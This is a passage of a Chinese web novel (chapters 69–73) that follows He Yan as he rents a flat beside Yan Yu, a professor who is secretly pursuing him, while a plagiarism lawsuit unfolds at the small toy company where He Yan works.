福安小区地段很好,位于津兴市市中心,周围配套设施很齐全,房价在津兴市处于中等偏上,但并不算最贵的那一档。 鄢忬带着贺衍走到了采光最好的一号楼前。 “这里每一层都只有两个住户。”鄢忬示意贺衍跟上自己,他按下了八楼的电梯。 “房间在八楼,801是我家,802是准备出租的那一间。” 电梯上行,鄢忬把一串钥匙递给贺衍。 “802的钥匙。” 贺衍伸开掌心,钥匙触碰到掌心的瞬间,冰凉的触感让他下意识缩了下,指尖碰到了还没来得及挪开的那只手。 贺衍攥紧钥匙立刻缩回手。 鄢忬轻笑了一声。 贺衍抿唇,抬头看向电梯内的显示器,终于要到八楼了。 电梯门打开了。 “802在那里。” 贺衍点了点头,他正准备拿钥匙开门,就听见鄢忬继续说道:“看完房间去我那里坐一会儿。你奶奶已经拜托我,让我跟你好好谈谈。” 贺衍轻叹了口气,怪不得奶奶上周完全没跟自己提这件事,原来是在这等自己。 “让您费心了。” 鄢忬眉梢挑了下:“‘您’这个字感觉我都七老八十了一样。” 贺衍干笑着扯了扯嘴,其实在他心里也大差不差了。 他几年前写的那些信里,全是一堆幼稚到不能看的话。其实这也不算什么,毕竟谁没有过去。 贺衍唇角轻抿,神情却有些苦闷。可就算他不想承认,但他当初,的确把自己对母亲的情感寄托到了那位素未谋面的Y阿姨身上了。 所以到底为什么,他的知心阿姨会变成一个比自己大不了多少的男人。就算已经自我安慰了一星期,但是他现在还是没办法和这件事彻底和解。 也因为这样,他和鄢忬相处,总有种说不出来的别扭。 802这套房有一百五十多平米,三室两厅两卫,一间主卧一间次卧,剩下的一间被改造成了书房。 贺衍把各个房间都逛了一圈,但眉头却越皱越紧:“这真的是别人要租的房子吗?” 房子一尘不染,所有的家具电器都一应俱全,新的离谱,根本没有任何使用的痕迹。 真的完完全全是拎包入住。 而且几乎是各个方面都完美符合了自己的要求。 鄢忬眼眸微垂,睫毛在眼下映出扇形的阴影,眉眼也显得没那么锋利了。 “我那个医生朋友比较有钱,他每买一套房都会按照他喜欢的风格进行装修。”他毫不心虚地说道:“他住了几天就不喜欢这个风格了,所以才决定租出去。” 贺衍眨了下眼,真是有钱人啊。 鄢忬笑了下:“你觉得装修风格怎么样,是你喜欢的类型吗?” 贺衍点了点头:“挺好的,那租金是多少?” 鄢忬状似思考了下:“我记得好像是一个月2600吧。” 他试探性地问道:“阿衍,你觉得这个价格可以吗?” 贺衍又点了点头,他心里预估的价格在两千五左右,虽然超出了一点,但是这个地段和价位,真的很值了,也在自己的接受范围内。 “如果你觉得合适的话,今天就能签合同。” 贺衍犹豫了下:“谢谢,我先回去和奶奶商量一下,看看奶奶她喜不喜欢。” 鄢忬打开801的大门,递给贺衍一双棉拖鞋。 鞋面上是一只张牙舞爪的小狼崽,拖鞋前面还带着两只狼耳朵,画风极其可爱。 跟鄢忬本人的外观也是极其格格不入。 贺衍心里吐槽了一句,还是换上了这双鞋。 两人坐在沙发上。 鄢忬将一杯温牛奶递到了贺衍面前:“你看着有点没休息好的样子,多喝点这个有助于睡眠。” 真是把自己当小孩啊,贺衍嘴角一抽,然后低声说了句谢谢。 “不喜欢?” 贺衍立刻摇头,拿起牛奶喝了一口。他心里抓狂,他为什么会这么听鄢忬的话。清醒一点啊贺衍,这家伙不是你以为的Y阿姨。 鄢忬眼底浮上一层笑意。 “既然看完房子了,接下来我们就要说正事了。”鄢忬双手合十放在膝上,语气也沉了下来:“阿衍——” 贺衍下意识坐直:“您说。” “还说自己不紧张。”鄢忬笑了下,但眉梢却浮现几丝疑惑,“我有这么吓人吗?” 空气安静了一瞬。 贺衍干笑了下,尴尬地喝了口牛奶:“其实,我原来一直以为您,以为您是一位四五十岁的阿姨。” 他握着玻璃杯手有些局促地收紧:“所以,现在知道——” 鄢忬若有所思地看了下贺衍,墨绿色眸中陡然出现了几分戏谑之色,但很快就被温和的笑意掩盖:“原来如此啊。” 鄢忬勾了勾唇角:“所以,你其实是想喊我叔叔,对吧。” 贺衍刚松了口气,听到鄢忬的话,眼睛直接睁大了。 鄢忬揉了揉贺衍的脑袋。头发还是有点太短了,有点扎手。 鄢忬眯了下眼,墨绿色的眸中闪过几丝笑。 “小朋友不要什么都憋在心里,想说什么就说出来,叔叔我心胸可是很宽广的。要是你想,其实你喊我阿姨也可以。” 贺衍的喉咙忽然被噎住了,整个人呆愣了一瞬。 他抿着唇,但刚才还存在的那几分若有似无的尴尬瞬间消失的无影无踪。 贺衍深吸了一口气,决定主动结束这个话题:“你不是要问我的学习情况?” “我做过近五年的联邦高考真题,考姆扎州的大学不成问题,所以打算二月份报名的时候直接以成人的身份参加联邦高考。” 贺衍敛眸:“我知道奶奶她也是关心我,但是她总觉得我说这些都是借口。” 他抬起眼,微微上扬的眸中带着些许的请求:“奶奶她现在很信任你,所以能不能拜托帮忙劝劝她,总是这样担心也不是个办法。” 眼尾的泪痣随着贺衍嘴巴的张合轻轻动着,鄢忬的视线落在上面,喉结轻轻滚动。 他移开视线,唇角抿直,指尖克制又极其用力地摩挲衣角,手背陡然绷起了青筋。 他的声音略微低沉:“也不是不行。” 鄢忬沉思片刻,他打开手机编辑了一条短信,随后说道:“我认识几个出联邦高考试卷的老师,我让——嗯,我听说他们最近出了一套模拟试卷。” “明天上午你再来我这里一趟,如果你能达到你想上的那个学校的分数,我就帮你。” “好。” “明天上午我去接你。” 贺衍摇了摇头:“不用麻烦了,我坐公交车过来就行。” 鄢忬点头,墨绿的眸色幽暗,他没再说什么。 第70章 第 70 章 马面裙 第70章 康泰和医疗中心。 杨梅霞拿着贺衍的手机, 左右拖动着进度条,边看边点头:“房子大采光也好,家具电器什么都不缺, 而且价格还不贵……” 贺衍坐在病床旁边的凳子上, 随口说道:“奶奶,我怎么感觉你很希望我们租这套房。” 杨梅霞把手机递给贺衍, 笑得眼睛都睁不开了,眼角的皱纹也弯了起来:“有这么明显吗。” 贺衍非常肯定地点了点头。 杨梅霞满是感慨地说道:“远亲不如近邻啊,鄢老师可是铜海大学的教授,能和大学教授当邻居,当然不能错过这个机会。” “对了, 小衍。我还没来及问你呢, 你在淮新认识的朋友, 现在还联系吗?等你租了房,咱们也算是稳定下来了。你那些朋友知不知道你来津兴了。” 贺衍嘴角惬意的笑容忽然凝固了。 “你那两个朋友,我看都是挺不错的孩子。特别是小琚, 不仅人长得好看——” 贺衍唇瓣抿成一条直线,在杨梅霞看过来之前调整好表情, 转移了话题:“奶奶,你不是让鄢忬和我谈谈学习的事情吗?” 杨梅霞的注意力瞬间被这件事夺取了, 但她第一个反应是:“小衍, 鄢老师是我们家的大恩人, 他还是大学教授, 你在奶奶面前称呼人家大名也就算了,千万不能当着他的面这么叫他,这样不礼貌。” 贺衍表情扭曲一瞬,然后抿着唇点了点头。 贺衍简单说了一下下午的事:“我明天要再去福宁小区一趟, 鄢,鄢老师说他帮我找了一套专家出的模拟卷子……” “等奶奶你周三出院了,我们就要搬过去了。虽然房子里不缺什么大物件,但还是要购置一些杂货。奶奶你刚才也看了,需要我买什么?” 贺衍说完半天发现也没人回答。 杨梅霞皱着眉愁容不展。 “奶奶,鄢老师可是大学教授,水平自然很高,要是他都觉得我没问题,那我肯定没问题。奶奶你就放一万个心吧。” “可上学……” 杨梅霞还想说什么,但接触到贺衍坚定的眼神,到底也不想再让自己的孙子不开心。 “奶奶不说这个了。不过明天不是周一,你不去小毕那里没关系吗?” 想到这个,贺衍就长叹了口气,感觉太阳穴突然之间就涨了起来。 “我打算把这个工作辞了,毕竟等咱们搬到福宁小区了,离这里也不算近,到时候我再找个其他工作干。” 杨梅霞点了点头, 辞职不难,难搞的是那个老板。 他现在打工的地方是一家小型的服装设计工作室,叫作云织间工作室。 工作室的老板兼设计师就是毕云吉。 这个工作纯属是因为一场意外。 这家服装设计师工作室就在康泰和医疗中心,附近有一家大型商超。 半个月前,他刚来到津兴没几天,去超市里买了一些必备品。刚从超市里出来,迎面就撞上了一个男人。 一个脸色苍白脚步虚浮眼下一片黑青身材非常瘦小的直到自己肩膀男人,看起来跟吸了毒一样。 贺衍抱歉的话都到嘴边了,面前的人晃了几下,就晕过去了。 好在医院就在附近。 贺衍刚把人送过去才知道,这人是医院的常客,甚至不知道之前什么时候和奶奶也认识了,关系还挺熟。 检查过后,医生说这人是因为低血糖而且长期营养不良导致的昏迷,跟自己的关系不大。 贺衍放心地点了点头,所以就算他要讹人应该也讹不上自己。 输完点滴,大概也就是一小时不到的时间,这个人就醒了。 这位叫毕云吉自称是服装设计师的男人两眼冒光,跟饿了几十天的人第一次看到吃的东西一样。然后他就被讹上了—— “请你做我的模特吧!” 天知道毕云吉那个脑子秀逗的家伙到底在想什么,他所有的服装设计全部都是女装! 他一个一米八多的男人当什么女装模特啊。 但在他拒绝后,毕云吉退而求其次让他来工作室当“吉祥物”,什么都不用干,就是坐在他能看见的范围内就行,不然他就把贺衍告上法庭。 其实这案子肯定不会判毕云吉胜诉。 虽然后来他清楚,毕云吉就是嘴皮子快,人也是个好人。要是真让他去法院,他也完全没这个胆子。 但当时他不清楚这件事。而且作为被告,一旦他的名字进入法院系统,很可能会被贺家的人找到,再惹出其他事端。 毕竟那个时候,贺家还没有宣布自己“去世”。 贺衍走到了云织间工作室。 这时候大概是晚上六点多,天色已经黑透了,工作室的灯还亮着。 “你要辞职?!!!”毕云吉一脸震惊,连着说了三遍。 “为什么?我给的工资不高吗?一天一千日结,就算是姆扎州也是属于中等偏上了啊。” 贺衍完全无视了毕云吉的嚷嚷,他一脸平静:“要搬家,来这里太麻烦了。” 毕云吉丧着一张脸:“那的确麻烦。” 但片刻后,他的眼睛飞速眨动:“你想辞职也行,但你能不能穿一下,我设计的衣服,让我拍几张照片。” 贺衍面无表情地盯着他:“你再说一遍?” 毕云吉疯狂摇头:“不是你想的那种,是姆扎州的传统服饰,男女都能穿的。” “你之前说的我都记得,绝对不会上传到网上,绝对只有我一个人能看到。这套服装师在传统服饰的基础上进行了一些改编,加入了一些现代的元素,你看看,真不是你想的——” 他那种虚弱可怜的语气配上他瘦弱的体型,看起来马上就要迎风吐血了。 贺衍看了眼他的设计图,眉梢微挑:“马面裙?” 毕云吉眼睛一亮:“你居然知道这个。这是我从一本破旧的古籍上找到的,好像是几千年前的衣服了。现在市面上根本没有这个样式的服装,但我感觉,马面裙……” 说到自己的专业领域,毕云吉又开始滔滔不绝起来。 这个架空世界里,姆扎州参照的范本大概是华国。毕竟不论是各类传统习俗,还是古建筑的风格,都和华国都有很多相似之处。 贺衍沉思了片刻:“用一下你的电脑。” 二十分钟后。 毕云吉在刚打印出来的保证书上签下了自己的名字:“这样你就放心了吧,我不会出尔反尔去法院告你的。我之前不是告诉你了,那时候都是我瞎说的。” 毕云吉小声嘟囔了一句:“但谁知道随便瞎扯一句你就同意了啊。” 云织间工作室后面就连着毕云吉的家。 毕云吉推开工作室后院的大门,搬来了一个超大的摄影灯。 院里倚墙建着一个半亭。 贺衍站在亭下,光线在他的脸上分成明暗两个部分,他的骨相本就极好,寸头衬得脸部的轮廓愈发锋利。 但他偏是穿了条绛色的马面裙。 夜风吹过,裙裾泛起波浪,裙面的绣纹若隐若现。 上半身是一件做旧的黑色绸缎立领衬衫,盘扣扣到了最上面的一颗。 黑与红相撞,极具视觉冲击力。 镜头掠过他低垂的眉眼,睫毛在眼下投出小片阴影。忽然他抬眼直视镜头,瞳孔在暗处泛着冷调的黑。 毕云吉按下快门的手都慢了半拍。 这张脸根本不需要任何修饰,这套衣服于他而言似乎也成了可有可无的陪衬。 晚上八点,齐崇杉吃完晚饭慢悠悠地溜达回自己的公寓里。 他刚给自己满上一杯酒,嘴唇刚碰到液体,扔到客厅沙发上的手机开始嗡嗡响起来。 齐崇杉把酒杯放到桌面上,认命地接通了电话:“老鄢,什么事?” “拜托你一件事。” 齐崇杉乐了一下:“真是太阳打西边出来了,你还有拜托我的时候。说吧什么事?” …… “所以明天我要作为房东,跟你认识的那个小朋友签一下租房合同?!!” “嗯,别露馅,之后请你吃饭。” 电话被挂断了,齐崇杉嘴角抽搐,怪不得这几个月他怎么劝鄢忬去外面找个干净的解决生理问题,这家伙完全充耳不闻。 原来是早就铁树开花了,就等着人家小孩自己羊入虎口。 鄢忬这家伙的耐心,可不是一般的大啊。 不知道那被看上的那位小朋友什么时候会彻底沦陷。 齐崇杉摸着下巴,未来的日子有好戏看了。 周一上午。 贺衍九点准时到了福宁小区。 “吃过早饭了吗?” 贺衍点了点头。 鄢忬推开书房的门,示意贺衍过去。桌子上一共四张试卷:语文、数学、政治、综合。 卷子似乎是刚印出来的,还能闻到些许新鲜的油墨气息。 “试卷在书桌上了,旁边有纸笔。你自己按时间分配吧,中午记得出来吃饭。” 贺衍一天都待在鄢忬家里。 下午四点半。 贺衍写下最后一个字,停下了手中的笔。 他推开书房的门,走到了客厅。 鄢忬正在看一本图册,上面是一尊掐丝珐琅莲纹炉。 这张图片有点眼熟。 鄢忬注意到贺衍的视线:“对这个感兴趣?” “倒也不是,只是上过的艺术鉴赏课上,老师好像讲过这个。”贺衍回忆了一下,他当时听得不太认真,但那位白发苍苍的老师中间穿插的关于那尊莲纹炉的故事倒是记得一清二楚。 “……最后,好像是被一个姓俞的商人拍走了。” 鄢忬指尖微动,表情倒是没什么变化。 “这珐琅缠枝莲纹炉有两个差不多一样的。只在炉耳上有细微差别,左边的炉耳雕着莲心朝日,右边是莲尾衔月,合在一起就是鸾凤和鸣的缠枝莲。” “你那位老师说得应该是左边的那只。” 鄢忬指了指图片:“这是右边的,现在正准备拍卖。” 贺衍分不清这些,看似在听,实际上早就神游云外了。 鄢忬注意到他的走神,他轻笑了下,垂眸望着收藏图册上的莲纹炉,眸色微沉。【你现在阅读的是 】 70-80 第71章 第 71 章 “早晚而已。” 第71章 “答题卡我已经发给那几个出卷子的老师了, 大概半小时后会返给我成绩。” 贺衍眨了眨眼:“这么快吗?那些老师现在都有空?” 鄢忬沉默一瞬后,随即点头:“嗯,提前说过了, 会请他们吃饭的。” 贺衍抿了下唇:“麻烦鄢老师了。” 鄢忬掀起眼皮看了他一眼:“又换称呼了?” 贺衍闭了下眼, 然后纠结着说道:“麻烦叔叔了。” 鄢忬唇角勾起来。 半个小时后,鄢忬收到了已经批改过的四份答题卡的图片。 “你的分数, 其实通过联邦大学的招生线都绰绰有余。”鄢忬将照片发送给贺衍,“你奶奶的担心的确是多余的。” 鄢忬抬眸问道:“阿衍,你打算学什么专业?” 贺衍睫毛眨动,眸色暗了一瞬:“法学。” 报考法学专业虽然不需要推荐信,但如果没有推荐信, 便不能参加法考。 而这些没有资格参加法考的法学毕业生, 就业的方向非常窄。但拥有法官的推荐信的学生, 即使没有参加法考或者没有通过法考,就业机会相比于前者,宽了也不是一星半点。 只有通过司法考试, 才有资格成为律师或者法官。 而想要参加司法考试,就必须有市级以上法官的推荐信。 在某些地方, 法官推荐信甚至是明码标价,最低也要五十万。 联邦法官等级为四等十二级。四等分别为首席大法官、大法官、高级法官和法官。[1] 前三等的法官每年推荐可推荐考生的名额不限。 但普通法官, 除一级法官每年有两个推荐名额, 其余法官只有一个推荐名额。 能拿得起五十万的人不少, 但没有人脉, 依旧抢不到法律的入场券。 所以,基本上只有那些很小的初创公司才会去招聘前面那些没有拿到推荐资格的法学毕业生。 因为这些小微企业即使给出高薪,也很难招聘到一个拥有市级以上法官推荐信的的学生。 贺衍自然不打算用贺琚给的那封推荐信。 法学专业一般都是四年制,对于法学专业的大学生来说, 最早可以参加司法考试的时间是大四上学期。 因此有部分有钱但没有人脉的学生,在没有拿到法官推荐信的情况下依旧会选择先考入法学院。 贺衍也是这种想法。 鄢忬若有所思地眯了下眼:“法学的话,排名第一的是联邦大学。姆扎州的大学虽然实力也不差,但即便是最好的铜海大学,法学专业排名在全联邦也只不过是第六。如果你想去联邦大学,我可以给你写推荐信。” 贺衍摇头:“不用,我打算考铜海大学。” 鄢忬唇角微扬,他自然清楚贺衍不会去联邦大学。 十天前,在他见到贺衍的前一天,贺家在淮新举办了一场葬礼。但他现在的身份,没办法问贺衍在淮新发生了什么,又为什么会来到这里。 第二天。 鄢忬跟杨梅霞分析完一番之后,终于说服了这个倔强的老人。 鄢忬看了眼时间,带着贺衍走到了精神科的主任办公室。 齐崇杉打了个哈欠,听到敲门声,他立刻端坐,整理了一下衣服。 今天上午的号不都看完了,难道是自己记错了。 “请进。” 鄢忬推开门,走了进来。 齐崇杉紧绷的上半身立刻懒懒散散地松了下来:“是你啊,我还以为是我病人——” 齐崇杉瞬间消音,鄢忬身后那个不会就是他口里说的小孩吧。 怎么长得让他这个大帅哥都心生妒意了,而且那板寸头还有明显的穿衣风格。这小孩一看就不喜欢男的啊。 齐崇杉装模作样地签完租房合同,看着贺衍关门离开之后,他立刻冲到了鄢忬面前:“老鄢,我有个问题?” “说。” “咳咳,我觉得这小帅哥一看就是喜欢大美女的那种类型。”齐崇杉挤眉弄眼地看着他,“你确定你能追上吗?” 鄢忬轻描淡写地瞥了他一眼:“早晚而已。” 周三上午。 贺衍办完手续之后,回到病房正准备扶着杨梅霞离开,却发现病床里空无一人。 路过的护士看到贺衍,提醒了一句:“你奶奶跟着一个年轻的先生离开了,应该是熟人。” 贺衍神色一凛,加快脚步疾奔。 医院门口。 杨梅霞微微仰头,眼角堆起慈祥的褶子,声音里带着老年人特有的温和:“鄢老师,我和小衍那孩子腿脚都利索着呢,哪用得着专门来接,真是麻烦你来接我们了。当年的事我还没来得及向您好好道谢,这次连租房也是托你的福——” 鄢忬微微颔首,语气沉稳:“阿姨,您严重了。以后住得近,有事随时叫我。” 贺衍急匆匆跑出医院,瞥到了站在大门那处的身影,他原本紧蹙的眉头在看到鄢忬的瞬间,略微舒展开来。 “奶奶。” 杨梅霞听到声音,笑呵呵地转头:“小衍,你办完手续啦。” 贺衍没回答,只是目光在鄢忬和奶奶之间扫了一圈,确认无事,才低低“嗯”了一声。 鄢忬看了他一眼,眼底掠过一丝笑意,语气随意:“怎么,怕我把你奶奶拐跑了?” 贺衍眉梢微动,没接话。 杨梅霞笑着拍了拍贺衍:“鄢老师帮了我们这么多,可要好好谢谢他。” 两个人带的东西并不多,下午三点多,一切都已经收拾妥当了。 杨梅霞的腿脚还有些不方便,她本来打算亲自下厨,但是因为不能站立太长时间,于是把这项任务交给了贺衍。 福宁小区附近有好几家大型商超。 贺衍提着大兜小兜的东西回来的时候,刚好碰上了准备离开的鄢忬。 “那个,你今晚有空吗?奶奶让我邀请你晚上来家里吃饭。” 贺衍抿了下唇,还是没能干脆利落地喊出叔叔这个称呼,索性就直接不喊了。 “阿姨现在身体还不利索,不用麻烦她了。” 明天铜海市有一场拍卖会,他对那尊压轴的珐琅缠枝莲纹炉势在必得,因此打算乘今晚的航班亲自去铜海。 鄢忬正欲拒绝。 贺衍瞥了他一眼:“其实是我做饭。看来你还有事,那等下次再请你吧。” 贺衍走到802的门口,把两兜东西放到地上,拿出钥匙打开门。 他准备拿东西进屋的时候,却发现东西已经被鄢忬提在手上了。 鄢忬扬眉:“我还没回答,你怎么就自顾自地替我决定了。” “东西放厨房地板上就行,一会儿我收拾。”贺衍意识到自己的话有点不太礼貌,然后加了一句:“多谢,麻烦您了。” “又是‘您’啊。” 鄢忬笑着摇了下头,说完这句,他便提着东西走进了厨房,然后拿出里面的青菜,开始熟练地摘洗了起来,动作很是娴熟。 贺衍选择性地遗忘他刚才的那句话。 不过,鄢忬看上去就是十指不沾阳春水的人,看样子还挺会做饭。 杨梅霞就小声地催促贺衍赶紧也过去:“小衍,你这孩子怎么能让鄢老师做饭,你快进去让他出来。” 杨梅霞说完贺衍,转头就走进厨房:“鄢老师,您是客人,本来这顿饭就是为了请您,怎么还能让您下厨。” 但杨梅霞自然没有劝动。 “我还以为你不会做菜。” 鄢忬挑眉:“你以为错了。” 本来应该亲自掌厨的贺衍已经沦落为帮工了。 贺衍虽然从小给杨梅霞打下手,也去过很多后厨当帮工,但做菜的水平其实很一般。他做出来的菜一般都是看着好看,但其实吃上去普普通通,无功无过。 但鄢忬不仅菜品卖相极佳,味道也是极好。 贺衍低着头一言不发地听着杨梅霞和鄢忬说话,手里的动作倒是没停。 晚上炒的这几盘菜,七七八八都进了他肚子里。 吃完饭,鄢忬没有久留,很快就离开了。 贺衍再次见到他的时候,已经是他找到新工作之后的第二天了。 虽然即使不打工,他目前的余额也能支持他和奶奶好长时间。 但是只出不进,着实也令人心烦。 因为没有高中毕业证,贺衍投递的好多家公司都拒绝了他。 再陆续投了十几家公司之后,终于收到了一家看起来还算正规的玩具设计公司的offer。 第二天,贺衍根据地址找到这家公司的时候,才知道了真正原因。 他的目光从旁边的高楼大厦移开,看向了左边的两层小楼。 二楼临街的玻璃窗户上,贴着几个红色大字:方刚玩具公司。 方刚玩具公司在去年八月才成立,目前刚刚成立半年。 但因为工资尚可,周六日双休,而且距离福宁小区很近。 贺衍还是加入了这家小公司。 目前包括贺衍在内,员工不超过十五个人。 贺衍在这里工作了几天之后了解到,虽然这是一家多品类玩具设计公司,但目前卖得动的只有一个品类下的一种玩具——外表十分炫酷的一款飞机模型。 这款玩具的销量很高,最开始的初版模型已经炒到接近三千一个,但最初的价格还不到三百。 目前方刚玩具公司完全是靠这一个产品过活。 平淡的生活过得很快。 贺衍每天早九晚五,他的工作就是作为老板任方刚的助理,记录一下他每天的工作日程,然后提醒一下进程。 但因为公司人少,所以也没有什么钩心斗角,其实很轻松。 不过,隔壁的邻居已经从最开始的一周来蹭一次饭,变成了一周五次,有时候做饭的甚至就是他自己。 二月末,寒冰解冻,春意渐起。 衣服也渐渐单薄了起来。 鄢忬不紧不慢地把围裙摘下来,手臂上的肌肉崩出好看的线条。 “叔叔,你不是大学教授。现在马上都三月份了,你还不开学吗?” 美食的威力太大,贺衍现在已经能很自然地喊出这个称呼了。在他心里,鄢忬已经是除奶奶之外,他比较亲近的长辈了。 鄢忬挑眉,他揉了揉贺衍毛茸茸的头发:“你这是在赶我走。” 鄢忬墨绿色的眼里漾着几抹笑意,头发长长了,触感比之前好。 贺衍被他揉得不自在地往后退了几步,但神色里并没有太多抗拒。 “我哪敢,我这是在关心你。” 一个多月了,终于把这小孩养熟了。 “你要和我一起去铜海吗?我大概过几天走。” 贺衍眨了眨眼,然后非常坚定地摇了摇头:“算了吧,奶奶一个人在这里我不放心。反正下半年我也要去铜海大学了,咱们见面的次数不会少。” 第72章 第 72 章 银发的身影 第72章 三月初, 杨梅霞忽然晕倒,贺衍带着她去医院做了全身检查,但并没有检查出什么问题。 医生让住院观察了一段时间, 贺衍便请了一周的假。 住院的这几天, 杨梅霞的精神状态一直很不错,在医院住了四天就又回家了。 虽然没有检查出什么问题, 但贺衍还是有些担心。 贺衍正犹豫着要不要辞掉工作,这次是因为他刚好在家,才能及时发现杨梅霞晕倒,但如果下次奶奶在他不在家的时间晕倒。 “小衍,医生都说了, 我身体根本没问题。我年纪大了, 偶尔起来太猛了, 晕倒也正常得很,不是什么大事。我知道我孙子这样是在担心我,但是要因为这种小事耽误了你, 你觉得奶奶心里面会舒服吗?” 贺衍倔强地抿着嘴,他垂着眼睛, 也不知道在想什么,没有任何反应。 贺衍一旦倔起来, 很难有谁能劝得动他。 要是鄢老师在这里就好了, 小衍这孩子也就能听进去鄢忬几句话了。 杨梅霞看着贺衍叹了口气, 慈爱的语气中带了几分无奈:“小衍, 奶奶不能陪你一辈子的。” 他知道奶奶不能陪自己一辈子,但他希望奶奶活得越长越好。如果下次不是晕倒,而是出了其他事——贺衍没有继续再想下去。 贺衍也不知道鄢忬是怎么知道这件事的,反正就在他请假即将结束的那一天上午, 家里的门铃忽然被按响了。 门外是一位年岁大约五十的阿姨,但看起来格外充满活力和朝气:“你好,我姓李,叫作李红芹。你就是贺衍吧,我是鄢先生推荐来的。” 李红芹身后还有一个行李箱,手里还掂着一兜菜:“不让我进去吗?” 贺衍眉头拧了一下:“等等,阿姨,您是干什么的?” 李红芹一脸疑惑:“我是住家阿姨啊?” 住家阿姨? 杨梅霞听到外面的动静,赶紧走了出来:“哎呀,老李,你过来啦。” 李红芹挥了挥手:“昨天跟你说了,今天正式到岗,是不是说话算数。” 两个人跟老朋友见面一样,立刻牵着手说起了话,把一旁的贺衍无视了个彻底。 贺衍关上门,走到房间里给鄢忬打了个电话。 电话倒是很快就接通了。 贺衍语气里压着几分不满:“那个李阿姨是怎么回事?” “怎么一给我打电话就是兴师问罪,”鄢忬音色低沉,声音里倒是含着几分笑:“看来杨阿姨是没透露给你半点消息。” 贺衍眼睛微微眯起:“什么意思?” 鄢忬语气里没有半分慌乱,他慢条斯理地说道:“三天前,你是不是和她吵了一架。” 贺衍一愣:“我们没有吵架,我只是——” “但是杨阿姨认为你们是在吵架,她不希望因为自己的事再影响你。阿衍,难道等你上大学了,还要让你奶奶在身边陪着你吗?” 贺衍扯了扯嘴角,语气硬邦邦地说道:“到时候我会在大学旁边租一个房子的。” 鄢忬声音里染上了几分无奈:“阿衍,你有时候就是太钻牛角尖了。你也应该问问杨阿姨的想法。她也有自己的人生,不能总是围着你打转吧。” 贺衍呼吸停了一瞬,他抿着唇,眉心拧紧,嘴巴张张合合,最后只是干巴巴地嗯了一声。 “李红芹今年五十一岁,她和杨阿姨就差了八九岁,两个人的共同话题肯定比你多。而且她有多年的护理经验,是一位专业的营养师。阿衍,在照顾人这件事上,你肯定是比不过她的。” 贺衍又闷闷地嗯了一声。 “好了,我没有责怪你的意思。现在有人替你守在杨阿姨身边,你可以不用那么焦虑了吧。” 贺衍不自在地抿了下唇:“叔叔,刚才对不起。还有谢谢。” 电话那头传来一阵轻笑声。 周三上午。 贺衍再回到公司的时候,发现几乎每个人都满面愁容。 “小贺,你奶奶身体怎么样?” 贺衍点头:“住院观察了几天,应该只是意外。” “没事就好。”说话的人愁眉不展,猛叹了一口气,“小贺,你这几天没来是不知道,公司出大事了。咱们惹上官司了。” 这句话像是打开了什么匣子,一堆人都围了过来,左一句右一句说了起来。 “任哥说你本来因为你奶奶的事就心烦意乱的,也不让我们告诉你。但是公司可能真的要完了。” “咱们设计的那款FK飞机模型被一家公司告了,说是我们抄袭他们,要让我们赔偿。” “TM的,那是老娘辛辛苦苦设计出来的,居然说我是抄袭狗。” “告我们的还是铜海市知名的杰弗里玩具公司。法院传票昨天下午已经到公司了,后天就要开庭。我们还得飞去铜海。对方真是鸡贼,根本就没给我们准备的时间。” “还有——” 任方刚从办公室里出来,拍了拍手,中气十足地说道:“行了,别吵了。我明天上午要去铜海,我倒要看看,铜海的大公司是怎么蛮不讲理地欺负我们这些夹缝生存的小企业的。琳卡、卡罗尔,你们两个跟着我一起去。” 琳卡·布朗是FK飞机模型的主要设计师,罗卡尔·福开森是公司的法务。 罗卡尔去年刚从大学毕业,专业是法学,但他并没有获得任何法官的推荐信,但相比于其他人他已经算是“专家”了。 琳卡听到自己的名字,斗志昂扬地点头:“我倒要看看那个狗屁公司怎么颠倒黑白。” 反倒是一边的罗卡尔,脸色一白,苦笑着说道:“老板,我根本没信心打赢官司啊。” 琳卡用力拍他的后背:“你怎么还没开始就认输,别丧气。你好歹也是学了四年,振作起来啊!” 任方刚抿着唇:“该干啥都干啥,别一脸丧气地,公司也不一定会出问题。” 其他人骂骂咧咧回到了自己的工位上。 任方刚喊住了贺衍:“我记得你是不是以后也打算走法律这条路。” 贺衍点了点头。当初他求职的简历上就写着只能干半年,因此除了硬性条件学历之外,不能稳定在岗工作也是很多公司把他拒之门外的重要原因。 任方刚琢磨了一下:“那你要跟着去吗?我看你平常对这方面似乎还挺感兴趣的。” 这个世界的法律体系不如上辈子公开透明。除非是案件相关人,否则只有很少一部分人可以旁观法院审案。 即便市面上相关的法律书籍有相关的介绍,但那些案子的时效早就过了。 贺衍有些意动,可奶奶一人在家里—— 贺衍正准备拒绝,不对,奶奶现在不是一个人在家了。 法务罗卡尔已经将所有需要的资料准备好了。 贺衍翻阅他整理的资料,指尖在几个时间点上停留了片刻。 FK飞机模型设计的初稿还有当初手绘的部分线稿都在,这些资料在网络上也都有留存。 杰弗里玩具公司规模很大,可以说是姆扎州排名第一的玩具公司,不过近期推出的几款玩具却并没有像之前一样攻占下市场份额。即便这家公司资本再雄厚,但证据如此确凿的情况下,对方想要颠倒黑白并不简单。 这个官司应该并不难打。 贺衍本来以为这起官司很简单,他们最多在姆扎州待上两三天就能回来。 但谁也没有想到,罗卡尔在开庭前直接消失了,并且带走了关键性的证据。 因为这个意外,庭审往后延期了三天。 琳卡气地骂了一堆脏话,任方刚倒是什么都没说,但和来时相比,整个人看着都颓废了一圈。 杰弗里玩具公司要求他们的赔偿从去年生产销售这款模型以来获得利润的十分之一,大概只需要一百万,赔偿金额相对于其他侵权案来说其实并不高。 但另外一个要求却是,方刚玩具公司必须对自己做出的抄袭行为进行公开的道歉,并承诺之后不会再生产FK这款型号的飞机模型。 这无异于是抹杀了方刚玩具的未来。 但他们现在却根本没有任何办法。 任方刚消失了两天,他几乎走遍了铜海市各大律师事务所。 可因为这件案子的标额只有一百万,金额不高,根本找不到愿意代理案子的律师,律师费也收不上来,耗费的精力不比大案来得省力。 任方刚不见的这一天,琳卡在酒店也待不住,也跑了出去。 直到第二天,贺衍也没见到这两个人中的任何一个。 庭审推迟后的第二天下午,贺衍坐在咖啡厅的角落。 他仔细翻动着罗卡尔没有带走的资料,安静的空气里,只有细微的沙沙声。 阳光透过咖啡店的透明玻璃斜斜地落在他身上,勾勒出他侧脸的轮廓。 邻桌的女孩第偷瞄了好几次,害怕被他发现,又立刻低头搅动咖啡。 贺衍微微蹙眉,指尖在某一行文字上停顿,眼神骤然锐利。 玻璃窗外,银发的男人从旁边路过,淡金色的眸子忽然迟疑了一瞬。 随后他摇了摇头,应该是看错了,那个人两个月前就去世了。 第73章 第 73 章 “聊聊。” 第73章 贺衍带着资料回到酒店的时候, 任方刚已经回来了。 